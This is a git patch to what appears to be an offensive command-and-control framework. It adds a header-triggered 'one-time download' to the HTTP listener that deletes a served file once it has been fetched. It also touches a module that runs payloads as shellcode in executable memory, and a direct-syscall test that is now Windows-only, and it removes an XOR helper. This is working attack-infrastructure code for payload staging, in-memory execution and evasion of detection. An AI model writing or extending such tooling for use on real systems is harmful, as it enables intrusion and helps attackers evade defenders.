From 3cd03a5e71966608c8de2e4bcf366eefbda359fb Mon Sep 17 00:00:00 2001 From: maxdcb Date: Fri, 31 Jan 2025 08:43:29 -0500 Subject: [PATCH] ListenerHttp OneTimeDownload --- listener/ListenerHttp.cpp | 16 ++++++++++++++++ modules/AssemblyExec/AssemblyExec.cpp | 2 ++ modules/ModuleCmd/CMakeLists.txt | 12 +++++++----- modules/ModuleCmd/syscall.hpp | 16 ---------------- modules/ModuleCmd/tests/testsSyscall.cpp | 5 ++++- 5 files changed, 29 insertions(+), 22 deletions(-) diff --git a/listener/ListenerHttp.cpp b/listener/ListenerHttp.cpp index 77f36bc..d7e8bc1 100644 --- a/listener/ListenerHttp.cpp +++ b/listener/ListenerHttp.cpp @@ -190,6 +190,14 @@ void ListenerHttp::lauchHttpServ() fileDownloadReg+=":filename"; m_svr->Get(fileDownloadReg, [&](const Request& req, Response& res) { + bool deleteFile=false; + auto it = req.headers.find("OneTimeDownload"); + if (it != req.headers.end()) + { + std::string header_value = it->second; + deleteFile=true; + } + SPDLOG_INFO("File server connection: {0}", req.path); std::string filename = req.path_params.at("filename"); @@ -204,6 +212,14 @@ void ListenerHttp::lauchHttpServ() buffer.assign(std::istreambuf_iterator(file), std::istreambuf_iterator()); res.set_content(buffer, "application/x-binary"); + + file.close(); + if(deleteFile) + { + // std::string backUpFile = filePath+".DELETED"; + // std::rename(filePath.data(), backUpFile.data()); + std::remove(filePath.data()); + } } else { diff --git a/modules/AssemblyExec/AssemblyExec.cpp b/modules/AssemblyExec/AssemblyExec.cpp index 2beeb03..7e80d7c 100644 --- a/modules/AssemblyExec/AssemblyExec.cpp +++ b/modules/AssemblyExec/AssemblyExec.cpp @@ -409,6 +409,8 @@ int AssemblyExec::whateverLinux(const std::string& payload, std::string& result) mprotect(page, payload.size(), PROT_READ|PROT_EXEC); ((void(*)())page)(); } + + return 0; } diff --git a/modules/ModuleCmd/CMakeLists.txt b/modules/ModuleCmd/CMakeLists.txt index 1177c18..2138212 100644 --- a/modules/ModuleCmd/CMakeLists.txt +++ b/modules/ModuleCmd/CMakeLists.txt @@ -12,9 +12,11 @@ if(WITH_TESTS) $ "${CMAKE_SOURCE_DIR}/Tests/$") add_test(NAME testsTools COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") - add_executable(testsSyscall tests/testsSyscall.cpp ./syscall.x64.obj) - target_link_libraries(testsSyscall ) - add_custom_command(TARGET testsSyscall POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy - $ "${CMAKE_SOURCE_DIR}/Tests/$") - add_test(NAME testsSyscall COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") + if(WIN32) + add_executable(testsSyscall tests/testsSyscall.cpp ./syscall.x64.obj) + target_link_libraries(testsSyscall ) + add_custom_command(TARGET testsSyscall POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy + $ "${CMAKE_SOURCE_DIR}/Tests/$") + add_test(NAME testsSyscall COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") + endif() endif() \ No newline at end of file diff --git a/modules/ModuleCmd/syscall.hpp b/modules/ModuleCmd/syscall.hpp index 93eed37..94ab183 100644 --- a/modules/ModuleCmd/syscall.hpp +++ b/modules/ModuleCmd/syscall.hpp @@ -133,22 +133,6 @@ EXTERN_C DWORD getGlobalHash() } -void XOR(char * data, size_t data_len, char * key, size_t key_len) -{ - int j = 0; - for (int i = 0; i < data_len; i++) - { - if (j == key_len-1) - j = 0; - - data[i] = data[i] ^ key[j]; - j++; - } - - data[data_len-1]='\0'; -} - - DWORD SW3_HashSyscall(const char *FunctionName) { DWORD Hash = 0x811C9DC5; // FNV offset basis diff --git a/modules/ModuleCmd/tests/testsSyscall.cpp b/modules/ModuleCmd/tests/testsSyscall.cpp index d9ccfd3..8423a2e 100644 --- a/modules/ModuleCmd/tests/testsSyscall.cpp +++ b/modules/ModuleCmd/tests/testsSyscall.cpp @@ -4,6 +4,7 @@ #endif #include +#include // Sw3NtAllocateVirtualMemory_ @@ -24,8 +25,10 @@ int test() return 0; } + int main() { +#ifdef _WIN32 void *remoteBuffer; SIZE_T sizeToAlloc=100; NTSTATUS status = Sw3NtAllocateVirtualMemory_(GetCurrentProcess(), &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); @@ -108,7 +111,7 @@ int main() } std::cout << "Success" << std::endl; - +#endif return 0; }